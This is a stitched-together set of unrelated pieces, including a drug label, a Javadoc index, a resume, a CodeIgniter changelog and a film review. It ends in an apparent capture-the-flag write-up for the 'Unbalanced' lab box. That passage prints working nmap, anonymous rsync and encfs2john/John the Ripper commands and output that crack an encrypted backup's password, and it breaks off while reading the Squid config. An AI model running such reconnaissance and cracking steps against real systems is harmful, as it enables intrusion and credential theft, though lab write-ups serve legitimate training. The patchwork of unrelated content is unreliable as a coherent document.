"1" "ORNER,G, SEEWALD,JB, NIEDING,WJ AND KORTE,DW, MUTAGENIC POTENTIAL OF2-HYDROXYIMINOMETHYL-1-(2'PROPARGYLOXYETHYL)PYRIDINIUM CHLORIDE IN THE AMESSALMONELLA/MAMMALIAN MICROSOME MUTAGENICITY TEST, U.S. AR __ MY MEDICAL RESEARCH ANDDEVELOPMENT COMMAND, NTIS AD-A212646, 1989"


This package resolves mimetypes for URIs, files and streams.
It uses the shared-mime-info database from http://www.freedesktop.org/wiki/Standards_2fshared_2dmime_2dinfo_2dspec and knows how to handle the magics/matches, patterns, aliases and XML-namespaces (for XML-Documents).


My Projects SwiftPage
Archipelago
An app project I made once
Test Links:
External Link
Internal Link
Images:
Trailer:
Downloads:
Test Valid Download
Test Invalid Download
Website created with
SwiftPage
(available on GitHub).
SwiftPage is an open-source project created and maintained by
MagMHJ, LLC
.


Happy Text
Here we're limited by the time we have. We have a fantastic little sky! Let's make a nice big leafy tree. I guess I'm a little weird. I like to talk to trees and animals. That's okay though; I have more fun than most people. Little trees and bushes grow however makes them happy. Get tough with it, get strong.
Little Touch of Yellow
We can always carry this a step further. There's really no end to this. Put light against light - you have nothing. Put dark against dark - you have nothing. It's the contrast of light and dark that each give the other one meaning. This is gonna be a happy little seascape. If you don't like it - change it. It's your world.
Now we can begin working on lots of happy little things. Now we'll take the almighty fan brush. Be brave. Let your imagination be your guide. There it is.
We start with a vision in our heart, and we put it on canvas. We'll take a little bit of Van Dyke Brown. I will take some magic white, and a little bit of Vandyke brown and a little touch of yellow. We have no limits to our world. We're only limited by our imagination. Now it's beginning to make a little sense.


NOTUSS PE- codeine phosphate and phenylephrine hydrochloride liquid
SJ Pharmaceuticals, LLC
Disclaimer: Most OTC drugs are not reviewed and approved by FDA, however they may be marketed if they comply with applicable regulations and policies. FDA has not evaluated whether this product complies.
Active ingredients
Purpose
(in each 5 mL
teaspoonful)
Codeine Phosphate 10 mg ............................. Antitussive
Phenylephrine Hydrochloride 10 mg ................Decongestant
temporary relief of symptoms due to the common cold, hay
fever (allergic rhinitis) or other upper respiratory allergies:
•cough due to minor throat and bronchial irritation • nasal congestion • reduces swelling of the nasal passages
•if you are now taking a prescription monoamine oxidase inhibitor (MAOI) (certain drugs for depression, psychiatric, or emotional conditions, or Parkinson’s disease), or for 2 weeks after stopping the MAOI drug. If you do not know if your prescription drug contains an MAOI, ask a doctor or pharmacist before taking this product.
•a cough that lasts or is chronic such as occurs with smoking, asthma or emphysema •a cough that occurs with too much phlegm (mucus) •chronic pulmonary disease or shortness of breath or children who are taking other drugs •heart disease •high blood pressure •thyroid disease •diabetes mellitus •difficulty in urination due to an enlarged prostate gland
•nervousness, dizziness, or sleeplessness occur •cough or nasal congestion persists for more than 1 week, tends to recur, or is accompanied by a fever, rash, or persistent headache. These could be signs of a serious condition. •new symptoms occur
In case of an accidental overdose, get medical help or contact a Poison Control Center right away.
| Adults and children 12 years of age and over: |
1 teaspoonful (5 mL) every 4 hours, not to exceed 6 teaspoonfuls in a 24 hour period. |
| Children 6 to under 12 years of age: |
1/2 teaspoonful (2.5 mL) every 4 hours, not to exceed 3 teaspoonfuls in a 24 hour period. |
| Children under 6 years of age: |
Not recommended for use. |
Citric Acid, Cotton Candy Flavor, Glycerin,
Propylene
Glycol, Purified Water, Sodium
Citrate, Sodium Saccharin, Sorbitol.
The packaging below represents the labeling currently used.
NDC 24839-343-16 and NDC 24839-343-10
NOTUSS-PE
Antitussive - Decongestant
Each 5 mL (one teaspoonful) for oral administration contains:
Codeine Phosphate............ 10 mg
(WARNING: May be habit forming)
Phenylephrine HCl.............. 10 mg
Rx Only
Sugar Free / Alcohol Free
Dye Free / Gluten Free
Cotton Candy Flavor
16 fl. oz. (473 mL)
SJ Pharmaceuticals
Tamper evident by foil seal under cap. Do not use if foil seal is broken or missing.
Dispense in a tight, light-resistant container with a child-resistant cap.
This bottle not to be dispensed to consumer.
Manufactured by:Great Southern Laboratories
Houston, TX 77099
Distributed for: SJ Pharmaceuticals
4200 Northside Parkway NW, Bldg. 12
Atlanta, GA 30327
|
NOTUSS
PE codeine phosphate, phenylephrine hydrochloride liquid | |||||||||||||||||||||||||
| |||||||||||||||||||||||||
| |||||||||||||||||||||||||
| |||||||||||||||||||||||||
| |||||||||||||||||||||||||
|
| Labeler - SJ Pharmaceuticals, LLC (845662720) |
| Registrant - Great Southern Laboratories (056139553) |


JavaScript is disabled on your browser.
Skip navigation links
Overview
Package
Class
Tree
Index
Help
Prev Letter
Next Letter
Frames
No Frames
All Classes
A
C
D
E
F
G
I
L
M
N
O
P
R
S
T
V
W
O
onBackPressed()
- Method in class com.f44red.
AboutUs
onBackPressed()
- Method in class com.f44red.
Contact
onBackPressed()
- Method in class com.f44red.
MainActivity
onBackPressed()
- Method in class com.f44red.
News
onBackPressed()
- Method in class com.f44red.
SettingsActivity
onBackPressed()
- Method in class com.f44red.
WPPostDetails
onBindViewHolder(RecyclerView.ViewHolder, int)
- Method in class com.adapter.
RecyclerViewAdapter
onCreate(Bundle)
- Method in class com.f44red.
AboutUs
onCreate(Bundle)
- Method in class com.f44red.
Contact
onCreate(Bundle)
- Method in class com.f44red.
DrawerBaseActivity
onCreate(Bundle)
- Method in class com.f44red.
F44SplashScreenActivity
onCreate(Bundle)
- Method in class com.f44red.
MainActivity
onCreate method contains components for view.
onCreate(Bundle)
- Method in class com.f44red.
News
onCreate(Bundle)
- Method in class com.f44red.
SettingsActivity
onCreate(Bundle)
- Method in class com.f44red.
SettingsActivity.SettingsFragment
onCreate(Bundle)
- Method in class com.f44red.
WPPostDetails
onCreateView(LayoutInflater, ViewGroup, Bundle)
- Method in class com.f44red.
AboutAppBottom
onCreateViewHolder(ViewGroup, int)
- Method in class com.adapter.
RecyclerViewAdapter
onDestroy()
- Method in class com.f44red.
AboutUs
onDestroy()
- Method in class com.f44red.
Contact
onDestroy()
- Method in class com.f44red.
MainActivity
onDestroy()
- Method in class com.f44red.
News
onDestroy()
- Method in class com.f44red.
SettingsActivity
onDestroy()
- Method in class com.f44red.
WPPostDetails
onPause()
- Method in class com.f44red.
AboutUs
onPause()
- Method in class com.f44red.
Contact
onPause()
- Method in class com.f44red.
MainActivity
onPause()
- Method in class com.f44red.
News
onPause()
- Method in class com.f44red.
SettingsActivity
onPause()
- Method in class com.f44red.
WPPostDetails
onPostCreate(Bundle)
- Method in class com.f44red.
DrawerBaseActivity
onRestart()
- Method in class com.f44red.
AboutUs
onRestart()
- Method in class com.f44red.
Contact
onRestart()
- Method in class com.f44red.
MainActivity
onRestart()
- Method in class com.f44red.
News
onRestart()
- Method in class com.f44red.
SettingsActivity
onRestart()
- Method in class com.f44red.
WPPostDetails
onResume()
- Method in class com.f44red.
AboutUs
onResume()
- Method in class com.f44red.
Contact
onResume()
- Method in class com.f44red.
MainActivity
onResume()
- Method in class com.f44red.
News
onResume()
- Method in class com.f44red.
SettingsActivity
onResume()
- Method in class com.f44red.
WPPostDetails
onStart()
- Method in class com.f44red.
AboutUs
onStart()
- Method in class com.f44red.
Contact
onStart()
- Method in class com.f44red.
MainActivity
onStart()
- Method in class com.f44red.
News
onStart()
- Method in class com.f44red.
SettingsActivity
onStart()
- Method in class com.f44red.
WPPostDetails
onStop()
- Method in class com.f44red.
AboutUs
onStop()
- Method in class com.f44red.
Contact
onStop()
- Method in class com.f44red.
MainActivity
onStop()
- Method in class com.f44red.
News
onStop()
- Method in class com.f44red.
SettingsActivity
onStop()
- Method in class com.f44red.
WPPostDetails
A
C
D
E
F
G
I
L
M
N
O
P
R
S
T
V
W
Skip navigation links
Overview
Package
Class
Tree
Index
Help
Prev Letter
Next Letter
Frames
No Frames
All Classes


What's the problem with private messages?
Nothing is wrong with private messages when the messages need to be private. Messages that are truly private should remain private. Messages that are personal in nature, contains company secrets, or involves customers, or any other communication that requires discretion, then of course use a private means of communication.
Motivation
Over the years, I've seen too much quality Q&A be lost due to private interactions. 1:1 emails, Slack messages, LinkedIn messages, Twitter DM, and Team chats have been used to send private messages. These private messages were filled with quality information that would never be indexed and discoverable by anyone else. I encourage us all to ask ourselves whether we need to send our questions directly to another person, or can we post our message in way that is discoverable by other people.
Consider whether you can send your message to a Team or Slack channel, a GitHub issue, a StackOverflow post, Microsoft Q&A, or whereever the appropriate audience may find the Q&A. Try to default to the widest distribution channel.
Acknowledgment of the vulnerability
Asking questions in the open can make us feel vulnerable. This sensation is experienced by nearly all of us. Know you are not alone with that feeling. New people on the team, you should do what you are most comfortable with in terms of communication.


About Me
Education
2018 - Bachelor of Information Systems, CSULB
Skills
- 1. Web Programming: node.js, HTML, CSS, Javascript
- 2. Python
- 3. Oracle
Expectation for this course
- I am new and learning to the world of Coding. I want you to teach me the best practices to every aspect of programming that you can


This website is a work in progress. written by Kevin Parnell for a project in COP 1830 at IRSC.
Select one of the links below:


com.chipsandwaycool.servlet.player
类
EditPlayer
EditPlayerAction
EmailPicks
EmailScores
Picks
PicksAction
PicksCSV
Scoreboard


John Shaff
Hollywood Resume
Career Summary
While working directly for two experienced Hollywood Directors and Producers: David Zucker (Airplane) and Michael Peyser (former Chief of Disney Hollywood Studios), I have been able to connect the dots between the development process and the distribution process. In the graduate program at USC School of Cinematic Arts I learned everything from AVID editing to feature and episodic writing and script analysis. I have gained practical experience in the five phases of media production: Development, Pre-Pro, Production, Post-Pro, and Distribution. My work experience has given me the chance to do everything from writing a feature length screenplay, negotiating box office bonuses with agents, and post supervising film festival deliverables.
Producer-Writer: David Zucker Productions
- Direct report to David Zucker.
- Personally wrote the screenplay adaptation for the New York Times Best-Seller Radical Son.
- Develop Davids next comedic feature by working with his team of writers to analyze characters, dramatic form, plot, world, and jokes.
- Edit together video story strings, as well as manage story board artists and independent illustrators.
- Line production tasks such as researching, budgeting, and scheduling personnel and deliverables.
Development Producer: Michael Peyser Productions
- Direct report to Michael Peyser.
- Work with media planning tools such as Nielsen, and other industry data sets to understand the audience segmentation for different projects.
- Acquire, license and develop IP by working with Agencies, Managers, Producers, and many different above and below the line talent and professionals.
- Four-quadrant development and analysis of characters, dramatic form, plot, world, and jokes for narrative feature scripts in all genres, all the way through the sale of IP.
- Develop and sell Branded IP for the international and Chinese market, working with Chinese production companies such as C2M, and Brands like Ikea.
- Line production tasks such as researching, budgeting, and scheduling personnel and deliverables using Movie Magic Budgeting and Scheduling.
- Calculate fringes, scale, etc. for production and post-production, including budgetary tagging standards for the California Film Commission tax-credit program.
Social Media Manager: Paul Fisher Modeling
- Managed over 80 different accounts for over 50 super models around the world.
- Understand Automated Marketing tools such as Marketo and Hubspot for aligning prospect engagement with Paul Fisher business goals.
- Understand SaaS data tools such as Sprinklr, Tableau, Platfora which sit on top of HDFS data sets in order to analyze, develop, and understand real time audience patterns and trends.
- Improvised techniques to collect and normalize data existing outside of the digital sphere.
- Developed and executed the Social Media campaign for Season 2 of Paul Fisher's reality TV Show "I Can Make You a Super Model".
- Defined and managed audience segmentation delivering targeted messaging.
- Developed content such as audio, visual, contest, etc.
- Managed hashtag research and analytics to grow all accounts across Facebook, Instagram and Twitter.
- Used inbound marketing strategies to increase model audience followings.
-
University of Southern California
MFA: Film and TV Production - 2016
-
Syracuse University
Certificate - Project Management PMP -2015
-
Florida State University
BS: Political Science - 2003
- Step Brothers
- Anchorman
- Along Came Polly
- The Five Year Engagement
- Funny Farm
- Arthur
- Meet the Parents
- The Royal Tennenbaums
- Talladega Nights
- Tropic Thunder


Version 4.0.0-rc.1¶
Release Date: Not released
RC.1 release of CodeIgniter4
Enhancements:
- CI3 Email ported to CI4
- Encryption (basic) added
- Migrations refactored and streamlined for more wholistic functionality (BC)
- added convert() to ImageHandlerInterface
- disabled debug toolbar for downloads
- CLI commands returns an error code now (“spark” changed)
- RESTful controllers added to shorten dev time for RESTful APIs
- added RouteCollection::presenter() as part of the RESTful support
App changes:
- added app/Common to make it easier to override common functions
- Config/Email and Encryption added
- Config/Migration modified, and has different settings
- Controllers/Home fixed, removing unnecessary model reference
Message changes:
- Migration has new & modified messages
- Messages now has RESTful set
The list of changed files follows, with PR numbers shown.
- admin/
- release-appstarter #2155
- release-framework #2155
- app/
- Config/
- Email #2092
- Encryption #2135
- Migrations #2065
- Controllers/
- BaseController #2046
- Home #2145
- Common #2110
- public/
- system/
- API/
- ResponseTrait #2131
- Autoloader/
- Autoloader #2149
- FileLocator #2149
- Cache/Handlders/
- RedisHandler #2144
- CLI/
- CommandRunner #2164
- Commands/Database/
- CreateMigration #2065
- Migrate #2065, 2137
- MigrateRefresh #2065, 2137
- MigrateRollback #2065, 2137
- MigrateStatus #2137
- MigrateVersion #2137
- Config/
- BaseConfig #2082
- Services #2135, 2092
- Database/
- BaseBuilder #2127, 2090, 2142, 2153, 2160, 2023, 2001
- MigrationRunner #2065, 2137
- Debug/
- Toolbar #2118
- Email/
- Email #2092
- Encryption/
- EncrypterInterface #2135
- Encryption #2135
- Exceptions/EncryptionException #2135
- Handlers/
- BaseHandler #2135
- OpenSSLHandler #2135
- Exceptions/
- ConfigException #2065
- Files/
- File #2178
- Filters/
- DebugToolbar #2118
- Helpers/
- inflector_helper #2065
- Honeypot/
- Honeypot #2177
- HTTP/
- DownloadResponse #2129
- Files/UploadedFile #2128
- Message @2171
- Response #2166
- Images/
- Handlers/
- -BaseHandler #2113, 2150 - ImageMagickHandler #2151
- BImageHandlerInterface #2113
- Language/en/
- Email #2092
- Encryption #2135
- Migrations #2065, 2137
- RESTful #2165
- RESTful/
- ResourceController #2165
- ResourcePresenter #2165
- Router/
- RouteCollection #2165
- Security/
- Security #2027
- Session/Handlers/
- RedisHandler #2125
- Test/
- CIDatabaseTestCase #2137
- bootstrap #2110
- CodeIgniter #2126, 2164
- Common #2109
- Entity #2112
- Model #2090
- tests/_support/
- RESTful/... #2165
- tests/system/
- API/
- ResponseTraitTest #2131
- Database/
- Builder/
- GetTest #2142
- SelectTest #2160
- WhereTest #2001
- Live/
- GroupTest #2160
- ModelTest #2090
- SelectTest #2160
- Migrations/MigrationRunnerTest #2065, 2137
- Encryption/
- EncryptionTest #2135
- OpenSSLHandlerTest #2135
- Helpers/
- InflectorHelperTest #2065
- HTTP/
- DownloadResponseTest #2129
- MessageTest #2171
- Images/
- GDHandlerTest #2113
- RESTful/
- ResourceControllerTest #2165
- ResourcePresenterTest #2165
- Router/
- RouteCollectionTest #2165
- ControllerTest #2165
- EntityTest #2112
- user_guide_src/
- changelogs/
- next #2154
- database/
- query_builder #2160, 2001
- dbmgmt/
- migrations #2065, 2132, 2136, 2154, 2137
- extending/
- common #2162
- helpers/
- inflector_helper #2065
- incoming/
- restful #2165
- routing #2165
- libraries/
- email #2092, 2154
- encryption #2135
- images #2113, 2169
- outgoing/
- api_responses #2131
- localization #2134
- response #2129
- testing/
- database #2137
- CONTRIBUTING.md #2010
- README.md #2010
- spark
PRs merged:¶
- #2178 Add fallback for missing finfo_open
- #2177 Fix missing form close tag
- #2171 Setheader dupes
- #2169 Add $quality usage for Image Library
- #2166 Cookie error
- #2165 RESTful help
- #2164 Exit error code on CLI Command failure
- #2162 User Guide updates for Common.php
- #2160 Add BaseBuilder SelectCount
- #2155 Include .gitignore in starters
- #2153 Bug fix countAllResults with LIMIT
- #2154 Fix email & migrations docs; update changelog
- #2151 ImageMagick->save() return value
- #2150 New logic for Image->fit()
- #2149 listNamespaceFiles: Ensure trailing slash
- #2145 Remove UserModel reference from Home controller
- #2144 Update Redis legacy function
- #2142 Fixing BuilderBase resetting when getting the SQL
- #2137 New Migration Logic
- #2136 Migrations user guide fixes
- #2135 Encryption
- #2134 Fix localization writeup
- #2132 Update migration User Guide
- #2131 Added No Content response to APIResponseTrait
- #2129 Add setFileName() to DownloadResponse
- #2128 guessExtension fallback to clientExtension
- #2127 Update limit function since $offset is nullable
- #2126 Limit storePreviousURL to certain requests
- #2125 Updated redis session handler to support redis 5.0.x
- #2118 Disabled Toolbar on downloads
- #2113 Add Image->convert()
- #2112 Update Entity.php __isset method
- #2110 Added app/Common.php
- #2109 Fix typo in checking if exists db_connect()
- #2092 Original email port
- #2090 Fix prevent soft delete all without conditions set
- #2082 Update BaseConfig.php
- #2065 Migration updates for more wholistic functionality
- #2046 clean base controller code
- #2027 Fix CSRF hash regeneration
- #2023 whereIn $value do not have to be an array
- #2010 Fix CSRF hash regenerationerbiage revisions
- #2001 Subqueries in BaseBuilder


Hi, this is Bright.
This website is meant to showcase some of the projects I have done. (Work in progress)
Feel free to take a stroll and connect with me!
What you can expect to see:
R
Python
WEKA
Hadoop (Hive, Pig, HDFS, Spark)
Machine Learning
Statistcal Tests/Methods
Math/Physics in general
Python
Java
SQL + NoSQL
Matlab
HTML/CSS/Javascript (D3.js)
This is a short example using twitter data set and location of cities data set, we can find which cities send out the most tweets that day.


BASQUIAT A film review by James Berardinelli Copyright 1996 James Berardinelli
RATING (0 TO 10): 6.0 Alternative Scale: **1/2 out of ****
United States, 1996 U.S. Release Date: 8/16/96 (limited); 8/23/96 (wide) Running Length: 1:46 MPAA Classification: R (Profanity, drug use, mature themes) Theatrical Aspect Ratio: 1.85:1
Cast: Jeffrey Wright, Michael Wincott, Claire Forlani, David Bowie, Gary Oldman, Benicio Del Toro, Dennis Hopper, Parker Posey, Willem Dafoe, Christopher Walken, Courtney Love Director: Julian Schnabel Producers: Jon Kilik, Randy Ostrow, and Joni Sighvatsson Screenplay: Julian Schnabel Cinematography: Ron Fortunato Music: John Cale U.S. Distributor: Miramax Films
BASQUIAT, the fictionalized biography of graffiti artist-turned- international sensation, Jean Michael Basquiat, is the latest in a long line of "suffering artist" motion pictures, following closely on the heels of last year's controversial TOTAL ECLIPSE. As presented by first-time director (and rival painter), Julian Schnabel, BASQUIAT is a skewed and often shallow look at the man who became an icon, the forces that shaped his life and death, and the way he was treated by his contemporaries and hangers-on.
The film, which is first and foremost a character study of its subject, opens in 1979 when Basquiat (Jeffrey Wright) was a graffiti artist going by the name of Samo. After lurching erratically through the next nine years, BASQUIAT concludes in 1988, shortly before the 27- year old artist died of a heroin overdose. According to Schnabel, the movie is intended to celebrate the man's life, not to mourn his death, so Basquiat's last days are not shown. It's one of many miscalculations made by the director, because, when the end credits roll, we're left without a sense of closure.
For the most part, BASQUIAT works as a series of anecdotes, but not as a deeper portrait. Despite the screen time afforded to Jeffrey Wright, who gives a superlative performance, we never really connect with the painter. His influences, both artistic and personal, are presented in a perfunctory and unsatisfactory manner: his institutionalized mother, his long-suffering girlfriend (Claire Forlani), his supportive friend (Benicio Del Toro), etc. As for the pressure and inner pain that drive him to drug use -- we've seen it all before, better portrayed and more convincingly dramatized. In terms of feeling for Basquiat, this picture left me cold.
Schnabel also appears to have a mercenary motive that makes parts of his film seem indulgent. One of Basquiat's fellow artists, Albert Milo (Gary Oldman), is a thinly-veiled representation of Schnabel himself, and the writer/director populates BASQUIAT with many of his own paintings. Although Schnabel probably intended the movie as a tribute to a celebrated colleague, his self-promotion lends a distasteful aura to the proceedings.
One area where BASQUIAT succeeds is in its portrayal of the artificial, exploitative forces that encircled Basquiat, sucked him in, and eventually spit him out. Since Schnabel moved in the same circles, it's not surprising that he would understand, and be able to effectively portray, this aspect of the artist's experience. Using scenes that are pointed and nearly satirical in tone, Schnabel details the double- dealing and boot-licking that surrounds successful artists -- how honey- tongued sycophants and hangers-on replace friends and lovers. Basquiat, seduced by his own fame, turns his back on the companions of his obscurity to bask in the adulation of Andy Warhol (David Bowie), and arts dealers Bruno Bischofberger (Dennis Hopper) and Mary Boone (Parker Posey). In the end, the young painter ends up alone, with only drugs to ease the loneliness.
BASQUIAT boasts a gallery of superlative performances. A number of big names became involved in this project, including Dennis Hopper, Gary Oldman, Willem Dafoe, and Christopher Walken, all of whom provide solid support for Jeffrey Wright's amazing portrayal. Wright's Basquiat is animated, passionate, and deserving of a better script than he was granted (the Tony award-winning actor is on record as having disagreed with Schnabel's interpretation of how the role should be played). Also worthy of notice is Claire Forlani, who is heartbreakingly sympathetic in the thankless role of the girlfriend abandoned on the way up. And David Bowie is every bit as good as Jared Harris (I SHOT ANDY WARHOL) as the effeminate, enigmatic Warhol.
Every once in a while, BASQUIAT strikes a real nerve with statements like "[Dealers] are no longer collecting art; [they're] buying people" or "[Basquiat's] audience hasn't even been born yet." The film doesn't do a total autopsy of the art business, but it affords enough glimpses to enable us to read between the lines. Unfortunately, Schnabel doesn't have the same success plumbing the secrets of Basquiat's soul. For a subject with such depth and passion, it's sad that Schnabel's treatment is so uneven.
- James Berardinelli e-mail<EMAIL_ADDRESS>ReelViews web site: http://www.cybernex.net/~berardin
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Unbalanced
Enumeration
Nmap
Started with the following nmap command:
nmap -sV -sC -p 1-10000 -oA nmap.res -v unbalanced.htb
And here is the result
Nmap scan report for unbalanced.htb (<IP_ADDRESS>)
Host is up, received conn-refused (0.000054s latency).
Scanned at 2020-11-04 09:22:55 EST for 170628s
Not shown: 9574 closed ports, 423 filtered ports
Reason: 9574 conn-refused, 422 net-unreaches and 1 no-response
PORT STATE SERVICE REASON VERSION
22/tcp open tcpwrapped syn-ack
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
873/tcp open tcpwrapped syn-ack
3128/tcp open tcpwrapped syn-ack
We basically have three ports open (22 - SSH, 873 - ???, 3128 - ???). We’ll know about the unidentified ports later.
Rsync
We first check the port 873. Since it wasn’t specified what service it is by the nmap, we can check it ourselves what service it might be running. We can check it here. It turns out this port might be an rsync service. We can quickly check if we can list some directories or files through this command:
rsync --list-only rsync://<IP_ADDRESS>:873/
After the execution, we are able to list a directory!
conf_backups EncFS-encrypted configuration backups
Let’s download the contents.
Retrieving “conf_backups”
We can retrieve the “conf_backups” through this command:
mkdir conf_backups
cd conf_backups
rsync -a rsync://<IP_ADDRESS>:873/conf_backups ./
After that, we can list the contents of the directory. However, it seems the files are gibberish.
rsync/conf_backups$ ls -la
total 632
drwxr-xr-x 2 altelus altelus 4096 Apr 4 2020 .
drwxr-xr-x 5 altelus altelus 4096 Nov 4 10:40 ..
-rw-r--r-- 1 altelus altelus 154 Apr 4 2020 0K72OfkNRRx3-f0Y6eQKwnjn
-rw-r--r-- 1 altelus altelus 56 Apr 4 2020 27FonaNT2gnNc3voXuKWgEFP4sE9mxg0OZ96NB0x4OcLo-
-rw-r--r-- 1 altelus altelus 190 Apr 4 2020 2VyeljxHWrDX37La6FhUGIJS
-rw-r--r-- 1 altelus altelus 537 Apr 4 2020 3cdBkrRF7R5bYe1ZJ0KYy786
-rw-r--r-- 1 altelus altelus 386 Apr 4 2020 3E2fC7coj5,XQ8LbNXVX9hNFhsqCjD-g3b-7Pb5VJHx3C1
-rw-r--r-- 1 altelus altelus 560 Apr 4 2020 3xB4vSQH-HKVcOMQIs02Qb9,
-rw-r--r-- 1 altelus altelus 275 Apr 4 2020 4J8k09nLNFsb7S-JXkxQffpbCKeKFNJLk6NRQmI11FazC1
-rw-r--r-- 1 altelus altelus 463 Apr 4 2020 5-6yZKVDjG4n-AMPD65LOpz6-kz,ae0p2VOWzCokOwxbt,
-rw-r--r-- 1 altelus altelus 2169 Apr 4 2020 5FTRnQDoLdRfOEPkrhM2L29P
-rw-r--r-- 1 altelus altelus 238 Apr 4 2020 5IUA28wOw0wwBs8rP5xjkFSs
-rw-r--r-- 1 altelus altelus 1277 Apr 4 2020 6R1rXixtFRQ5c9ScY8MBQ1Rg
-rw-r--r-- 1 altelus altelus 108 Apr 4 2020 7-dPsi7efZRoXkZ5oz1AxVd-Q,L05rofx0Mx8N2dQyUNA,
-rw-r--r-- 1 altelus altelus 1339 Apr 4 2020 7zivDbWdbySIQARaHlm3NbC-7dUYF-rpYHSQqLNuHTVVN1
-rw-r--r-- 1 altelus altelus 1050 Apr 4 2020 8CBL-MBKTDMgB6AT2nfWfq-e
-rw-r--r-- 1 altelus altelus 29 Apr 4 2020 8e6TAzw0xs2LVxgohuXHhWjM
-rw-r--r-- 1 altelus altelus 152 Apr 4 2020 8XDA,IOhFFlhh120yl54Q0da
-rw-r--r-- 1 altelus altelus 5721 Apr 4 2020 9F9Y,UITgMo5zsWaP1TwmOm8EvDCWwUZurrL0TwjR,Gxl0
-rw-r--r-- 1 altelus altelus 2980 Apr 4 2020 A4qOD1nvqe9JgKnslwk1sUzO
...
...
-rw-r--r-- 1 altelus altelus 1268 Apr 4 2020 dNTEvgsjgG6lKBr8ev8Dw,p7
-rw-r--r-- 1 altelus altelus 2359 Apr 4 2020 ECXONXBBRwhb5tYOIcjjFZzh
-rw-r--r-- 1 altelus altelus 1297 Apr 2 2020 .encfs6.xml
-rw-r--r-- 1 altelus altelus 1464 Apr 4 2020 F4F9opY2nhVVnRgiQ,OUs-Y0
-rw-r--r-- 1 altelus altelus 354 Apr 4 2020 FGZsMmjhKz7CJ2r-OjxkdOfKdEip4Gx2vCDI24GXSF5eB1
-rw-r--r-- 1 altelus altelus 135 Apr 4 2020 -FjZ6-6,Fa,tMvlDsuVAO7ek
-rw-r--r-- 1 altelus altelus 3275 Apr 4 2020 FSXWRSwW6vOvJ0ExPK0fXJ6F
-rw-r--r-- 1 altelus altelus 422 Apr 4 2020 gK5Z2BBMSh9iFyCFfIthbkQ6
...
...
Of all these, there is only one file that is readable and it’s .encfs6.xml. It turns out this is an EncFs.
EncFS is a userspace stackable cryptographic file-system similar to eCryptfs,
We need somehow to decrypt and mount this filesystem to be used.
Cracking the encrypted “conf_backups”
We can crack the encrypted filesystem by using encfs2john to format a file that will be compatible to john the ripper.
Using “encfs2john” to generate hash
Using the encfs2john, we need to point the name of the directory of the encrypted filesystem (conf_backups in this case). Then, we have to output in a file:
/usr/share/john/encfs2john.py conf_backups/ > encfs.crackable
And then, we proceed with cracking it using john the ripper
sudo john --wordlist /usr/share/wordlists/rockyou.txt encfs.crackable --format=encfs
After waiting, JTR has actually found the password:
Warning: invalid UTF-8 seen reading /usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (EncFS [PBKDF2-SHA1 128/128 AVX 4x AES])
Cost 1 (iteration count) is 580280 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bubblegum (conf_backups/)
1g 0:00:02:07 DONE (2020-12-05 09:27) 0.007865g/s 18.37p/s 18.37c/s 18.37C/s loveya..puppies
Password is bubblegum. We now have to mount it
Mounting the decrypted “conf_backups”
We can edit /etc/fstab then use mount command to mount the EncFS.
# /etc/fstab: static file system information.
...
...
...
# the settings below is appended
encfs#/home/altelus/HTB/boxes/Unbalanced/enums/rsync/conf_backups /mnt/decr_conf_backups fuse noauto,user 0 0
More info here
Then we proceed to mounting
$ sudo mount /mnt/decr_conf_backups/
EncFS Password:
Enter the password upon mount. Let’s check if it worked by visiting /mnt/decr_conf_backups
cd /mnt/decr_conf_backups/
ls -lart
total 628
-rw-r--r-- 1 altelus altelus 246 Apr 4 2020 dconf
-rw-r--r-- 1 altelus altelus 100 Apr 4 2020 x86_64-linux-gnu.conf
-rw-r--r-- 1 altelus altelus 44 Apr 4 2020 libc.conf
-rw-r--r-- 1 altelus altelus 38 Apr 4 2020 fakeroot-x86_64-linux-gnu.conf
-rw-r--r-- 1 altelus altelus 435 Apr 4 2020 logrotate.conf
-rw-r--r-- 1 altelus altelus 332 Apr 4 2020 ldap.conf
-rw-r--r-- 1 altelus altelus 144 Apr 4 2020 kernel-img.conf
-rw-r--r-- 1 altelus altelus 4491 Apr 4 2020 main.conf
-rw-r--r-- 1 altelus altelus 120 Apr 4 2020 network.conf
-rw-r--r-- 1 altelus altelus 927 Apr 4 2020 input.conf
-rw-r--r-- 1 altelus altelus 604 Apr 4 2020 deluser.conf
-rw-r--r-- 1 altelus altelus 414 Apr 4 2020 user-dirs.conf
-rw-r--r-- 1 altelus altelus 280 Apr 4 2020 fuse.conf
-rw-r--r-- 1 altelus altelus 87 Apr 4 2020 resolv.conf
-rw-r--r-- 1 altelus altelus 195 Apr 4 2020 modules.conf
-rw-r--r-- 1 altelus altelus 34 Apr 4 2020 ld.so.conf
-rw-r--r-- 1 altelus altelus 2584 Apr 4 2020 gai.conf
...
-rw-r--r-- 1 altelus altelus 1260 Apr 4 2020 ucf.conf
-rw-r--r-- 1 altelus altelus 1628 Apr 4 2020 system.conf
-rw-r--r-- 1 altelus altelus 2041 Apr 4 2020 semanage.conf
-rw-r--r-- 1 altelus altelus 510 Apr 4 2020 nsswitch.conf
-rw-r--r-- 1 altelus altelus 281 Apr 4 2020 udev.conf
-rw-r--r-- 1 altelus altelus 316553 Apr 4 2020 squid.conf
-rw-r--r-- 1 altelus altelus 230 Apr 4 2020 debian.conf
-rw-r--r-- 1 altelus altelus 5713 Apr 4 2020 ca-certificates.conf
-rw-r--r-- 1 altelus altelus 2179 Apr 4 2020 time.conf
-rw-r--r-- 1 altelus altelus 419 Apr 4 2020 sepermit.conf
-rw-r--r-- 1 altelus altelus 2972 Apr 4 2020 pam_env.conf
...
...
The files are finally decrypted! We just have to copy the files so that we don’t have to mount it again.
Squid HTTP Proxy
Another port that we are not familiar with is the port 3128. It turns out it is a Squid Proxy. We can check it here. We actually have seen a squid.conf file in our decrypted files earlier. Let’s check it.
Squid configuration file
Upon opening the squid.conf, there are quite a number of interesting things
Cachemgr_passwd section
...
#Default:
# No password. Actions which require password are denied.
